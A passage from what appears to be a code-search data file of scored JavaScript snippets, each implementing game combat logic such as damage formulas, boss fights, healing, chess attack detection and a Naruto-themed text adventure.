if(Math.floor(Math.random()*100)+1 < unitB.confidence){\n confBonus = .75;\n }\n }else if(type[unitA.type] === 2){\n if(Math.floor(Math.random()*100)+1 < unitA.confidence){\n confBonus = 1.25;\n }\n }\n }\n\n var crit = 1;\n if(Math.floor(Math.random()*100)+1 < unitA.crit){\n crit = 2;\n }\n\n\n if(type[attack.type] === 0){\n damage = ((unitA.attackPwr * 2 / 5 + 3) * (unitA.level * attack.power) /\n ((unitB.defense /5 + 2) * unitB.level) * eleAdvantage1 * eleAdvantage2 * matchEleBonus * confBonus + (Math.floor(Math.random()*unitA.level) /2)) / 2 * crit ;\n }else{\n damage = ((unitA.spAttackPwr * 2 / 5 + 3) * (unitA.level * attack.power) /\n ((unitB.spDefense /5 + 2) * unitB.level) * eleAdvantage1 * eleAdvantage2 * matchEleBonus * confBonus + (Math.floor(Math.random()*unitA.level) /2)) / 2 * crit ;\n }\n\n }\n\n return Math.floor(damage);\n}", "title": "" }, { "docid": "1bf2bb2cd4c43ef023a8e5e18c749505", "score": "0.57744646", "text": "function attackBoss(){\n\tvar bossDmg = getBossAttackValue();\n\tvar dmgB4Reduct = getAttackValue();\n\tvar dmgReduct = currMonster.def;\n\tvar playerDmg = dmgB4Reduct;\n\tvar hasCrit = false;\n\tvar critVal = Math.floor((Math.random() * 100)+1);\n\tif (critVal <= myChar.crit) {\n\t\tplayerDmg = playerDmg * 2;\n\t\thasCrit = true;\n\t}\n\t\n\tvar isPerc = currMonster.perc;\n\tif(isPerc && dmgReduct > 0){\n\t\tplayerDmg = dmgB4Reduct * (dmgReduct/100);\n\t\tbossHeader.innerHTML += \"</br>Original Damage: \" + dmgB4Reduct + \" Damage After Reduction: \" + playerDmg;\n\t}\n\telse if(dmgReduct > 0){\n\t\tbossHeader.innerHTML += \"</br>Original Damage: \" + dmgB4Reduct + \" Damage After Reduction: \" + playerDmg;\n\t\tplayerDmg = dmgB4Reduct - dmgReduct;\n\t\t\n\t}\n\t\n\tremoveCharHp(bossDmg);\n\tcurrMonster.currHp -= playerDmg;\n\tif(hasCrit){\n\t\tbossHeader.innerHTML += \"<font color=red> </br>You've crit for \" + playerDmg + \" damage to \" + currMonster.name + \" and took \" +\n\t\tbossDmg +\" damage!</font>\";\n\t\thasCrit = false;\n\t}\n\telse\n\tbossHeader.innerHTML += \"</br>You've done \" + playerDmg + \" damage to \" + currMonster.name + \" and took \" + bossDmg +\" damage!\";\n\n\tif(currMonster.currHp <= 0) {\n\t\tcurrMonster.currHp = 0;\n\t\talert(\"You have killed \" + currMonster.name + \"! \\n You gained \" + currMonster.gold + \" gold!!!\")\n\t\tmyChar.gold += currMonster.gold;\n\t\tmyChar.isBossDead = true;\n\t\tmyChar.bossPageNum = 17;\n\t\tupdateCookie(myChar);\n\t\twindow.location = \"storyPage.html\";\n\t}\n\tbossHpText.innerHTML = \"HEALTH: \" + currMonster.currHp + \"/\" + currMonster.maxHp;\n}", "title": "" }, { "docid": "2343e253a9a0cabdc192221c91bb9505", "score": "0.5773733", "text": "static basicAttack(me,team,enemy){\n\t\tif(me.stats.hp[0]<=0) return;\n\t\t\n\t\t/* Grab an enemy that I'm attacking */\n\t\tlet attacking = WeaponInterface.getAttacking(me,team,enemy);\n\t\tif(!attacking) return;\n\n\t\t/* Calculate damage */\n\t\tlet damage = WeaponInterface.getDamage(me.stats.att);\n\n\t\t/* Deal damage */\n\t\tdamage = WeaponInterface.inflictDamage(me,attacking,damage,WeaponInterface.PHYSICAL);\n\n\t\treturn `${me.nickname?me.nickname:me.animal.name}\\`deals ${damage}\\`<:att:531616155450998794>\\` to \\`${attacking.nickname?attacking.nickname:attacking.animal.name}`\n\t}", "title": "" }, { "docid": "cb70f4228d700cf95b26c7c7dba564da", "score": "0.5753651", "text": "function attack() {\r\n \r\n\r\n //if abilityUsed is heal if abilityUsed is heal if abilityUsed is heal if abilityUsed is heal\r\n if (abilityUsed === \"heal\") {\r\n if (player.attackPoints < player.abilities.heal.attackPoints) {\r\n inventoryToggleOut();\r\n \r\n console.log(\"tested ability points\")\r\n document.getElementById(\"dialog\").innerHTML = \"You need \" + player.abilities.heal.attackPoints + \" attack points for this...\"\r\n setTimeout(function() {abilityUsed = \"none\"; combatSequence(); }, 5000)\r\n } else {\r\n \r\n if (player.abilities.heal.amount + player.health > player.baseHealth){\r\n player.health = player.baseHealth;\r\n } else {\r\n player.health = player.health + player.abilities.heal.amount;\r\n }\r\n document.getElementById(\"dialog\").innerHTML = \"You healed \" + player.abilities.heal.amount + \" points!!\";\r\n console.log(\"heal used\");\r\n player.attackPoints = player.attackPoints - player.abilities.heal.attackPoints;\r\n document.getElementById(\"attackPointsInfo\").innerHTML = player.attackPoints;\r\n inventoryToggleOut();\r\n abilityUsed = \"none\"\r\n i = section1.enemies.tempEnemyHealth;\r\n overallDamageGiven = 0;\r\n overallDamageTaken = overallDamageTaken + selectedName.attack; \r\n tempDamage = 0; \r\n sequences = sequences + 1;\r\n setTimeout(function() { \r\n document.getElementById(\"dialog\").innerHTML = \"You used \" + player.abilities.heal.attackPoints + \" attack points..\";\r\n }, 3000)\r\n setTimeout(function() { \r\n finishAttack();\r\n }, 6000)\r\n }\r\n // END HEAL END HEAL END HEAL\r\n\r\n } else { //if no abilities are used\r\n attackSound.play();\r\n enemyRoar.play();\r\n section1.enemies.tempEnemyHealth = section1.enemies.tempEnemyHealth - player.strength;\r\n player.health = player.health - selectedName.attack;\r\n i = section1.enemies.tempEnemyHealth;\r\n overallDamageGiven = overallDamageGiven + player.strength;\r\n overallDamageTaken = overallDamageTaken + selectedName.attack; \r\n tempDamage = player.strength; \r\n sequences = sequences + 1;\r\n finishAttack();\r\n } \r\n\r\n //Determines if player is still alive, then executes damage to both enemies before returning to start of combat\r\n function finishAttack(){\r\n document.getElementById(\"combatIcons\").style.display = \"none\";\r\n if (section1.enemies.tempEnemyHealth >= 1 && player.health >= 1) {\r\n document.getElementById(\"dialog\").innerHTML = \"You dealt \" + tempDamage + \" damage to \" + selectedName.name; \r\n document.getElementById(\"healthInfo\").innerHTML = player.health;\r\n setTimeout(function() {attackSound.play(); document.getElementById(\"dialog\").innerHTML = \"You received \" + selectedName.attack + \" damage\"; }, 3000)\r\n setTimeout(function() { combatSequence(); }, 6000)\r\n return\r\n\r\n //if player health is below 1, you died (reloads webpage)\r\n } else if (player.health <= 0) {\r\n setTimeout(function() { document.getElementById(\"dialog\").innerHTML = \"You Died...\"; }, 1)\r\n setTimeout(function() { document.location.reload(true); }, 5000)\r\n return\r\n\r\n //if player enemy's health is below 1, you win fight and damage stats are shown\r\n } else if (section1.enemies.tempEnemyHealth <= 1) {\r\n document.getElementById(selectedName.picID).style.animation = \"attacked linear 1s\";\r\n document.getElementById(\"commandIcons\").style.display = \"none\";\r\n document.getElementById(\"dialog\").innerHTML = \"Congratulations, you've won the fight!!\"; \r\n document.getElementById(\"healthInfo\").innerHTML = player.health;\r\n fightWon.play();\r\n forestCombatMusic.pause();\r\n forestFinalBattleIntro.pause();\r\n setTimeout(function() { document.getElementById(\"dialog\").innerHTML = \"Total Damage Dealt: \" + overallDamageGiven; }, 3000)\r\n setTimeout(function() { document.getElementById(\"dialog\").innerHTML = \"Total Damage Received: \" + overallDamageTaken; }, 6000)\r\n setTimeout(function() {\r\n document.getElementById(\"dialog\").innerHTML = \"You gained \" + selectedName.expGiven + \" XP!!!\"\r\n for (i = 0; i < selectedName.expGiven; i++) {\r\n (function(i) {\r\n setTimeout(function() {\r\n let atPercentage = player.progress + 1;\r\n player.progress = atPercentage\r\n document.getElementById(\"playerProgressInfo\").style.width = atPercentage + '%'; \r\n }, 100 * i);\r\n }(i));\r\n }\r\n }, 9000)\r\n setTimeout(function() {\r\n sequences = 0;\r\n overallDamageGiven = 0;\r\n overallDamageTaken = 0;\r\n document.getElementById(\"commandIcons\").style.display = \"none\";\r\n document.getElementById(selectedName.picID).style.display = \"none\";\r\n document.getElementById(\"nextIcons\").style.display = \"inline-block\";\r\n }, 12000)\r\n }\r\n };\r\n }", "title": "" }, { "docid": "d8b9ab2c54ee8f920a308da31ad959ff", "score": "0.5752948", "text": "function boost_stats(item) {\n if (item.hasClass('armor-buy')) {\n var itemDef = parseInt($(this).siblings('.defense').text());\n character.defense += itemDef;\n console.dir(character);\n } else if (item.hasClass('weapon-buy')) {\n var itemAtt = parseInt($(this).siblings('.damage').text());\n character.attack += itemAtt;\n console.dir(character);\n } else if (item.hasClass('potion-buy')) {\n character.potions++;\n console.dir(character);\n }\n }", "title": "" }, { "docid": "ec009e04cfe0091d43d804c4a8e16d51", "score": "0.5747969", "text": "shortRangeAttack() {\n /*\n function to define behavior of player using melee (short-range) attacks\n */\n if (this.scene.levelNum == \"3\" || this.scene.levelNum == \"4\" || this.scene.levelNum == \"5\" || this.scene.levelNum == \"6\" || this.scene.levelNum == \"7\" || this.scene.levelNum == \"8\" ||\n this.scene.levelNum == \"0\") {\n console.log('[mummy.shortRangeAttack]');\n\n //temporarily disable more attacks\n this.canAttack = false;\n this.isAttacking = true;\n\n //generate a beam attack sprite\n var cane = this.canes.get();\n cane\n .enableBody(true, this.x, this.y, true, true)\n\n if (this.scene.levelNum == \"3\" || this.scene.levelNum == \"4\" || this.scene.levelNum == \"5\"){\n this.anims.play(\"mummyCaneAnim\", true);\n } else if (this.scene.levelNum == \"6\" || this.scene.levelNum == \"7\" || this.scene.levelNum == \"8\" ||\n this.scene.levelNum == \"0\"){\n this.anims.play(\"pharoahCaneAnim\", true);\n }\n\n //attack audio\n this.scene.meleeSound.play({volume: 1});\n\n //enable player attacks again after a delay\n this.scene.time.addEvent({\n delay: 500,\n callback: this.reset,\n callbackScope: this,\n loop: false\n });\n }\n }", "title": "" }, { "docid": "d207adad943f73a12de504718016577c", "score": "0.57385355", "text": "async _4780_mountainsWagonDamaged() {\r\n if (randomInt(100) > 11) {\r\n this._4840_mountainsGoingSlow();\r\n }\r\n else {\r\n await this.tt.print(\"WAGON DAMAGED!---LOSE TIME AND SUPPLIES\");\r\n this.M1_supplies -= 5;\r\n this.B_ammo -= 200;\r\n this.M_totalMileage -= 20 - randomInt(30);\r\n this._4860_mountainsSouthPass();\r\n }\r\n }", "title": "" }, { "docid": "f0636e110c1d548f49cc622363750972", "score": "0.5736125", "text": "function defaultAttackType(){\r\n // 2 -> Defend, 3 -> Attack, 4 -> Steal\r\n var actionCookie = getGMcookie('rpdefact', false);\r\n\t\tvar action = 2;\r\n if (actionCookie != false && actionCookie != \"0\") action = (parseInt(actionCookie) + 2);\r\n\t\t// BUGFIX : OASIS - can only be an attack:raid (Thank you, fr3nchlover !)\r\n if (crtLocation.match(/a2b.php\\?(.*)&o/)) action = 4;\r\n\t\t// finish BUGFIX : OASIS\r\n var rbAction = find(\"//input[@value='\" + action + \"' and @name='c']\", XPFirst);\r\n if (rbAction) {rbAction.checked = true;}\r\n }", "title": "" }, { "docid": "46827ae44be1a1c9e1c497fcc1015b65", "score": "0.57306343", "text": "postBlinds(previousActions) {\n let sbPlayer = this.players[this.smallBlindIdx];\n let bbPlayer = this.players[this.bigBlindIdx];\n\n let sbAction = { name: 'bet', amount: this.smallBlind };\n let bbAction = { name: 'bet', amount: this.bigBlind };\n\n // Treat posting blinds as a legitimate bet action.\n this.onPlayerAction(sbPlayer, sbAction, previousActions, null, 'small blind');\n this.onPlayerAction(bbPlayer, bbAction, previousActions, null, 'big blind');\n\n // So, in the preflop round we want to treat the big blind as the\n // bettor. Because the bet was implicit, that player also has an option,\n // i.e., they will be the last to act (as long as they have chips).\n bbPlayer.hasOption = bbPlayer.chips > 0;\n }", "title": "" }, { "docid": "9ba61aae159c28637400a2e1395f6158", "score": "0.57197607", "text": "function SeeAddKnightAttacks(target, us, attacks) {\r\n var pieceIdx = (us | pieceBishop) << 4;\r\n var attackerSq = g_pieceList[pieceIdx++];\r\n\r\n while (attackerSq != 0) {\r\n if (IsSquareOnPieceLine(target, attackerSq)) {\r\n attacks[attacks.length] = attackerSq;\r\n }\r\n attackerSq = g_pieceList[pieceIdx++];\r\n }\r\n}", "title": "" }, { "docid": "841701ebab40139373e103c463d12930", "score": "0.5709137", "text": "function adventure(){\n\tvar me = createTrueShinobi();\n\tvar others = createFalseShinobi();\n\tvar mentors = createStars();\n\tvar allNinja = Ninja.prototype;\n\tme.maxProgress = others.length;\n\tme.enemy = others[0];\n\tme.opponent[0] = others[others.length -1];\n\tpostStats([me]);\n\t//^Important\n\t/*console.log(\">> Strongest - \\nPower level : \"+others[0].powerLevel()+\", Health : \"+others[0].maxHealth+\", Chakra : \"+others[0].chakra+\" Name : \"+others[0]+\"\\n>> Weakest - \\nPower level : \"+others[others.length -1].powerLevel()+\", Health : \"+others[others.length -1].maxHealth+\", Chakra : \"+others[others.length -1].chakra+\" Name: \"+others[others.length -1]+\"\\n\\nMy name : \"+me+\"\\nMy true name : \"+me.trueName()+\"\\n\\nOthers : \"+others+\"\\n\\nMy enemy : \"+me.enemy+\"\\n\\nMy powers : \"+me.showPowers()+\"\\n\\nMy strength : \"+me.powerLevel(0)+\"\\nMy health : \"+me.health+\"\\nMy chakra : \"+me.chakra+\"\\n\\nMy reputation : The \"+me.image+\" from \"+me.abode);\n\t^^Helpful for testing & debugging */\n\t\n //function for handling old age if the player\n function handleOldAge(ninja){\n \tif(ninja.isOld()){\n \t\tpostMessage(\"<i>\"+me+\"</i>, you are getting old. Old age \"+randChoice([\"has started to weaken you.\",\"reduces your strength.\"]));\n\t\tif(rand(\"75%\")){\n\t\t\tpostMessage(\"<em>Finish your mission\"+randChoice([\", while you still can\",\" before it is too late\"])+\".</em>\")\n\t\t}\n\t\tif(!checkArr(me.achievements, \"old \"+me.gender(4))){\n\t\t\tme.setImage(\"old \"+me.gender(4));\n\t\t}\n\t\tme.maxHealth -= (rand(me.maxHealth/4, 50));\n\t\tme.maxHealth = (me.maxHealth < 0)? 0 : me.maxHealth ;\n\t\tme.health = (me.health > me.maxHealth)? me.maxHealth : me.health ;\n \t postStats([me]);\n\t\treturn true\n \t}\n }\n\n //function for reacting to player's low health\n function handleLowHealth(){\n \tif((((me.health * 100) / me.maxHealth ) <= 20) && me.helper != null && me.helper!= \"\" && me.health > 0 && (!me.helper.hasHelped) && me.opponent[0].isAlive()){\n \t\tinterference();\n \t\treturn true\n \t}\n \treturn false\n }\n \n //function for handling the termination of the game, if the player dies.\n function handleDeath(ninja){\n \t var vitalStats = [\"health\",\"maxHealth\"]\n \t for(i in vitalStats){\n \t \tif(ninja[vitalStats[i]] <= 0){\n\t\t\tninja.isAlive(0);\n\t\t\tpostStats((me.activity.toLowerCase() == \"training\")? [me] : [me, me.opponent[0]]);\n\t\t\tme.activity = \"\";\n\t\t\tbreak\n\t\t}\n \t }\n \t if((!me.isAlive()) && me.helper != null && me.helper != \"\" && me.helper.hasHelped != true){\n\t\tme.activity = \"Fighting\";\n \t\tinterference(1)\n \t\tme.isAlive(1);\n \t\treturn\t\n \t }\n \t if((!ninja.isComp) && (!ninja.isAlive())){\n\t\tvar regret;\n\t\tif(ninja.maxHealth <= 0){\n\t\t\tregret = \"focused on fighting the <code>Akatsuki<code>\";\n\t\t}else if(ninja.health <= 0){\n\t\t\tregret = (me.trainings >= 8)? \"would have better luck next time\" : \"trained more\" ;\n\t\t\tif(ninja.helper == null){\n\t\t\t\tregret = \"gotten a mentor\";\n\t\t\t}\n\t\t}\n\t\tpostChoices(\"Game over\",\"red\");\n\t\tpostMessage(\"<b>You are dead</b>\");\n\t\tif(regret !== undefined){\n\t\t\tregret = (regret.indexOf(\"would\") == 0)? regret : \"should have \"+regret ;\n\t\t\tpostMessage(\"<em>Perhaps\"+\" you \"+regret+\"</em>\");\n\t\t}\n\t\t$(\".buttons .but\").off(\"click\");\n\t\treturn ($(\".buttons .but\").first().one(\"click\", function(){\n\t\t\twindow.history.go()\n\t\t}))\n\t }\n }\n \n //function for handling the completion of the game\n function handleGameCompleted(){\n \t postStats([me, me.opponent[0]]);\n \t if(me.helper != \"\" && me.helper != null){\n\t\tpostMessage(\"Your mentor, \"+me.helper+\", \"+me.helper.act+randChoice([\" in approval\",\" in admiration\"]));\n\t }\n\t if(me.isOld){\n\t \tpostMessage(\"<b>You have overcome all challenges and proven yourself to be a <i><b>\"+me.image+\"</b></i></b>\");\n\t }else{\n\t \tpostMessage(\"<b>Well done, \"+me+\", you are a \"+me.image);\n\t }\n\t postChoices(\"Game over\",\"lightskyblue\");\n\t $(\".buttons .but\").off(\"click\");\n\t return ($(\".buttons .but\").first().one(\"click\", function(){\n\t \twindow.history.go();\n\t }))\n }\n \n //Function for handling the addition of a mentor to the player.\n function getMentor(reply){\n \t var rawMentors = Ninja.prototype.stars;\n\t var mentorList = mentors;\n\t //mentorList = mentorList.slice(2)\n\t function fetchMentor(){\n\t \t var ment = mentorList[rand(mentorList.length)];\n\t\t if(me.mortalEnemy === undefined){\treturn ment }\n\t\t if(ment.name != me.mortalEnemy.name){\treturn ment }else{\n\t\t \treturn fetchMentor();\n\t\t }\n\t }\n\t var mentor = fetchMentor();\n\t me.helper = (me.helper == \"\" || me.helper == null )? mentor : me.helper ;\n \t if(reply == 0){\n \t \t me.activity = \"Mentorship\";\n \t \t postMessage(\"Impressed by your \"+randChoice([\"dedication to\",\"consistent\"])+\" training, the great <b>\"+mentor+\"</b> \"+((mentor.name.indexOf(\"Sensei\") >= 0)? \"\" : \"sama\")+\" has offered to help train you\");\n\t\tpostMessage(\"<em>Do you accept the offer?</em>\");\n\t\tpostChoices([\"Accept\",\"Reject\"]);\n\t\treturn\n \t }\n \t if(reply == \"Accept\"){\n \t \tpostMessage(\"<em>Offer accepted.<br/>Your mentor is \"+me.helper+\"</em>\");\n\t\tme.setImage(\"apprentice\");\n\t\tfor(i in me.powers){\n\t\t\tme.powers[i].dmg *= 1.2;\n\t\t}\n\t\tvar addChk = rand(20, 40);\n\t\tme.health = (me.health + addChk > me.maxHealth)? me.maxHealth : me.health + addChk ;\n \t }\n\t if(reply == \"Reject\"){\n\t \tif(!me.helper.isGood && me.mortalEnemy === undefined){\n\t \t\tme.mortalEnemy = me.helper\n\t \t\tpostMessage(\"<em>Offer declined</em>\");\n\t \t\tfriendToFoe();\n\t \t\tme.helper = \"\";\n\t \t\tme.setImage(\"brave one\");\n\t \t}else{\n\t \t\tme.helper = null;\n\t \t\tme.setImage(\"dishonorable\");\n\t\t\tpostMessage(\"<em>Offer declined</em>\");\n\t\t}\n\t }\n\t me.activity = \"\";\n\t postChoices([\"fight\",\"train\"])\n\t postStats([me]);\n }\t\n \n function friendToFoe(){\n \t postMessage('<code>\"You arrogant fool\", '+me.mortalEnemy+' says. \"'+randChoice([\"I could have been your ally. Now I will be your enemy\",\"I offer you help and you dare to refuse? You will pay with your life!\"])+'\"</code>');\n\t postMessage(\"<em>After completing your mission, you will face the great \"+me.mortalEnemy);\n\t others.unshift(me.mortalEnemy);\n\t me.maxProgress += 1;\n }\n\n //Function for making the mentor help the player\n function interference(now){\n \t if(me.helper.hasHelped || !(me.opponent[0].isAlive()) || me.opponent[0].health <= 0){\n \t \treturn\n \t }\n \t var powWho = me.helper.power[0]\n \t powWho = (powWho.toLowerCase() == \"you\")? \"you\" : me.opponent[0].name ;\n \t var activity = (\"Your mentor, \"+me.helper+\" performs \"+me.helper.power[1]+\" on <b>\"+powWho+\"</b>\")\n\t var entrance = (randChoice([\"All of a sudden\",\"Suddenly\"])+\", <b>\"+me.helper+\"</b> \"+randChoice([\"is beside you\",\"is by your side\"]))\n\t me.helper.hasHelped = true;\n \t if((!me.helper.isGood) && Boolean(now)){\n\t\tpostMessage(\"<b>You are dead</b>\");\n\t\tpostMessage(entrance);\n\t\tpostMessage(\"<em>\"+activity+\", raising you from the dead</em>\");\n\t\tme.health += ((me.maxHealth/0.8 )-rand(30));\n\t\tme.health = (me.health > me.maxHealth)? me.maxHealth : me.health;\n\t\tme.isAlive(1);\n\t\tme.setImage(\"undead fighter\");\n\t\tpostStats([me, me.opponent[0]])\n\t\treturn\n \t }else if((!me.helper.isGood) && me.health > 0){\n\t me.helper.hasHelped = false;\n\t\treturn\n\t }\n\t postMessage(\"<b>\"+randChoice([\"You are starting to feel \"+randChoice([\"weak\",\"dizzy\"]), \"You are dying\"])+\"</b>\");\n \t postMessage(entrance);\n \t postMessage(\"<em>\"+activity+\"</em>\");\n \t me.health = (me.maxHealth - me.health <= 70)? me.maxHealth : rand(30, 40);\n\t me.health = (me.health > me.maxHealth)? me.maxHealth : me.health;\n\t var oppoH = me.opponent[0].health;\n \t oppoH -= ((me.opponent[0].maxHealth * 0.7 )-rand(30));\n\t me.opponent[0].health = (oppoH = (oppoH < 0)? 0 : oppoH);\n \t me.setImage(\"lucky ninja\");\n \t postStats([me, me.opponent[0]])\n }\n\n function action(res){\n \t if(res == \"Train\" ){\n\t\t train();\n\t }else if(me.activity == \"Mentorship\"){\n\t \t getMentor(res);\n\t }else if(res == \"Fight\" || me.activity == \"Fighting\" ){ fight(res); }\n\t handleDeath(me)\n\t\t\n\t function train(){\n\t \t me.activity = \"Training\";\n\t \t function normalTraining(){\n\t \t me.age(rand((me.helper == \"\" || me.helper == null)? 2 : 4, 1));\n\t \t postMessage(\"Time passes, as you \"+randChoice([\"improve your skills\",\"train yourself\"])+\".\")\n\t \t }\n\t \t function usefulTraining(){\n\t \t \tif(me.helper != \"\" && me.helper != null && rand(\"50%\")){\n\t \t \tvar msg = \"Your mentor, \"+me.helper+\", has taught you a new power.\";\n\t \t \t}else{\n\t \t \tvar msg = randChoice([\"Thanks to your training\",\"After a long training session\",\"After months of training\"])+\", you have mastered a new jutsu\";\n\t \t \t}\n\t \t \tvar newP = me.showPowers()[me.showPowers().length - 1];\n\t \t \tpostMessage(msg);\n\t \t \tpostMessage(\"<b>You have gotten a new power : \"+((newP.indexOf(\"jutsu\") >= 0)? newP : (\"The \"+newP+\" jutsu\"))+\"</b>\");\n\t\t\tme.age(rand(2, 4));\n\t \t }\n\t \t \n\t \t if(rand(((me.helper != \"\" && me.helper != null)? \"33\" : \"70\")+\"%\") && (!me.isOld()) /*|| true*/){\n\t \t \t var canAddPower = addPower(me);\n\t\t\t if(!canAddPower){\n\t\t\t \tnormalTraining();\n\t\t\t }else{\n\t\t\t usefulTraining();\n\t\t\t }\n\t \t }else{ normalTraining(); }\n\t \t var toUpgrade = (me.isOld())? 0 : 1;\n\t\t me.powerLevel(toUpgrade);\n\t\t me.refresh();\n\t\t handleOldAge(me);\n\t\t postStats([me]);\n\t\t ++me.trainings\n\t\t \n\t\t var key = [[6, \"determined fighter\"],[11, \"unstoppable Ninja\"]];\n\t\t for(var i in key){\n\t\t \t if(me.trainings == key[i][0]){\n\t\t\t\tme.setImage(key[i][1]);\n\t\t\t }\n\t\t }\n\t\t if(me.helper == \"\" && me.progress() >= 20 && (rand(me.progress()+((me.isOld)? 100 : 100 )+\"%\") /*|| true*/)){\n\t\t \t getMentor(0);\n\t\t }else{\n\t\t \t postChoices([\"fight\",\"train\"]);\n\t\t }\n\t }\n\t\n\t function fight(res){\n\t \t //set activity & get opponent\n\t \t me.activity = \"Fighting\";\n\t \t var oppo = me.opponent[0];\n\t \t \n\t \t //function to make player strike opponent\n\t \t function goodStrike(){\n\t \t \tvar jutsu = me.powers[rand(me.powers.length)];\n\t\t\tvar fakeJutsuName = ((jutsu.name.indexOf(\"jutsu\") >= 0)? jutsu.name : (jutsu.name+\" jutsu\"));\n\t\t\tif(jutsu.cost > me.chakra){\n\t\t\t\tpostMessage(\"You tried to use \"+randChoice([\"your \",\"\"])+\"<i>\"+fakeJutsuName+\"</i>, but you\"+randChoice([\" didn't have enough chakra\",\"r chakra was low\"]));\n\t\t\t\tvar addChkr = rand(me.maxChakra/3, 50);\n\t\t\t\tme.chakra = ((me.chakra + addChkr) > me.maxChakra)? me.maxChakra : me.chakra + addChkr ;\n\t\t\t\tpostMessage(\"<em>You have regenerated \"+addChkr+\" chakra</em>\");\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif(rand(\"10%\") && me.chakra < me.maxChakra/2){\n\t\t\t\tvar addChkr = Math.round(me.maxChakra / rand(4, 2));\n\t\t\t\tme.chakra = ((me.chakra + addChkr) > me.maxChakra)? me.maxChakra : me.chakra + addChkr ;\n\t\t\t\tpostMessage(\"<em>You have regenerated \"+addChkr+\" chakra</em>\");\n\t\t\t\t\n\t\t\t}\n\t\t\tif(rand(\"10%\") && (me.chakra - jutsu.cost >= 0 && oppo.chakra - jutsu.cost >= 0)){\n\t\t\t\tpostMessage(\"You \"+randChoice([\"used\",\"tried\"])+\" <i>\"+fakeJutsuName+\"</i> on \"+oppo+\", but \"+oppo.gender(1)+\" \"+randChoice([randChoice([\"narrowly\",\"\"])+\" dodged it\",\" countered it with \"+oppo.gender(2)+\" own\"]));\n\t\t\t\tme.chakra -= jutsu.cost;\n\t\t\t\toppo.chakra = me.opponent[0].chakra -= jutsu.cost;\n\t\t\t\treturn\n\t\t\t}\n\t\t\tpostMessage(\"You \"+randChoice([\"hit\",\"attack\"])+\" <b>\"+oppo+\"</b> with your <i>\"+fakeJutsuName+\"</i>\", `+${jutsu.dmg} dmg`)\n\t\t\tme.chakra = ((me.chakra - jutsu.cost) < 0)? 0 : me.chakra - jutsu.cost ;\n\t\t\toppo.health = me.opponent[0].health = ((oppo.health - jutsu.dmg) < 0)? 0 : me.opponent[0].health - jutsu.dmg ;\n\t \t }\n\t \t \n\t \t //function to makeopponent strike player\n\t \t function badStrike(){\n\t \t oppo = me.opponent[0];\n\t \t \tvar jutsu = oppo.powers[rand(oppo.powers.length)];\n\t\t\tif(capitol(jutsu.name).trim() == \"Amaterasu\" && jutsu.cost <= oppo.chakra && rand(\"50%\")){\n\t\t\t\tjutsu = oppo.powers[rand(oppo.powers.length)];\n\t\t\t}\n\t \t\tvar fakeJutsuName = ((jutsu.name.indexOf(\"jutsu\") >= 0)? jutsu.name : (jutsu.name+\" jutsu\"))\n\t \t \tif(jutsu.cost > oppo.chakra){\n\t \t \t\tpostMessage(oppo+\" tried to use <i>\"+fakeJutsuName+\"</i>, but \"+randChoice([oppo.gender(1)+\" didn't have enough chakra\",oppo.gender(2)+\" chakra was low\"]));\n\t \t \t\tvar addChkr = rand(jutsu.cost/2, 150);\n\t \t \t\toppo.chakra = ((oppo.chakra + addChkr) > oppo.maxChakra)? oppo.maxChakra : oppo.chakra + addChkr ;\n\t \t \t\treturn\n\t \t \t}\n\t \t \tpostMessage(oppo+\" \"+randChoice([\"hit\",\"attacked\"])+\" <b>You</b> with \"+oppo.gender(2)+\" <i>\"+fakeJutsuName+\"</i>\", `-${jutsu.dmg} dmg`)\n\t \t \toppo.chakra = ((oppo.chakra - jutsu.cost) < 0)? 0 : oppo.chakra - jutsu.cost ;\n\t \t \tme.health = ((me.health - jutsu.dmg) < 0)? 0 : me.health - jutsu.dmg ;\n\t \t }\n\t \t \n\t \t //to introduce opponent\n\t \t if(res == \"Fight\"){\n\t \t \toppo = me.opponent[0];\n\t \t \tif(others[0] == me.mortalEnemy && (!me.enemy.isAlive())){\n\t\t\t\toppo = me.mortalEnemy;\n\t\t\t}\n\t \t \tdescription = (\"<b>\"+oppo.name+\"</b>\"+((me.opponent[0] == me.mortalEnemy)? \"\" : \", the \"+oppo.image+\" from \"+oppo.abode));\n\t\t\tpostMessage((((me.opponent[0] == me.enemy)? (\"Your \"+randChoice([\"last\",\"final\"])+\" <code>Akatsuki</code> opponent is \") : (randChoice([((me.defeated.length <= 0)? \"The first Akatsuki member you encounter is\" : \"Next you meet\"), \"Your opponent is\"])+\" \"))+description));\n\t\t\tvar feudTxt = randChoice([\"'You really think you can defeat me?',\",\"'You don\\'t stand a chance',\"])+oppo.gender(1)+' '+randChoice(['laughs.','says. \"You are either '+randChoice([\"very\",\"really\"])+' brave or '+randChoice([\"very\",\"really\"])+' stupid.\"']);\n\t\t\tvar msg = (me.opponent[0] === me.enemy)? feudTxt : randChoice([capitol(oppo.gender(1))+\" laughs at you.<br/>You laugh right back.\",capitol(oppo.gender(1))+\" wears a confident smile on \"+oppo.gender(2)+\" face\"]);\n\t\t\tif(me.opponent[0] == me.enemy){\n\t\t\t\tpostMessage(\"<code>\"+feudTxt+\"</code>\");\n\t\t\t}else if(rand(\"50%\")){\n\t\t\t\tpostMessage(\"<code>\"+msg+\"</code>\");\n\t\t\t}\n\t \t }else{\n\t \t \t//to make player and opponent attack each other\n\t\t\thandleLowHealth();\n\t \t \tif(oppo.isAlive()){\n\t \t \t\tgoodStrike();\n\t \t \t}\n\t \t \thandleDeath(me);\n\t \t \tif(oppo.isAlive() && me.isAlive()){\n\t \t \t\tbadStrike();\n\t \t \t}\n\t \t \tme.health += (me.health <= 0 && oppo.health <= 0)? 1: 0;\n\t \t }\n\t \t \n\t \t //update choices\n\t \t postStats([me, oppo]);\n\t \t \n\t \t //if opponent is dead\n\t \t if(!me.opponent[0].isAlive()){\n\t \t postMessage(\"<b>\"+oppo+\" drops \"+randChoice([\"to the ground, \",\"\"])+\"dead\");\n\t\t\tme.defeated.push(oppo);\n\t\t\tme.opponent[0].isAlive(0);\n\t\t\tvar count = me.progress(1);\n\t\t\tcount = (me.mortalEnemy !== undefined)? count + 1 : count ;\n\t\t\tvar msg = (+count+\" down.<br/>\"+(me.maxProgress - count)+\" <i>Akatsuki</i> member\"+((me.maxProgress - count == 1)? \"\" : \"s\")+\" remaining\");\n\t\t\tmsg = (me.progress() >= 99 && me.defeated.length >= others.length)? ((randChoice([\"Congratulations, m\",\"M\"])+\"ission complete!<br/>You have defeated \")+((me.mortalEnemy === undefined)? \"all the akatsuki members.\" : \"all your opponents.\")) : msg ;\n\t\t\tmsg = (me.maxProgress - count == 0 && msg.indexOf(\"complete\") < 0 && 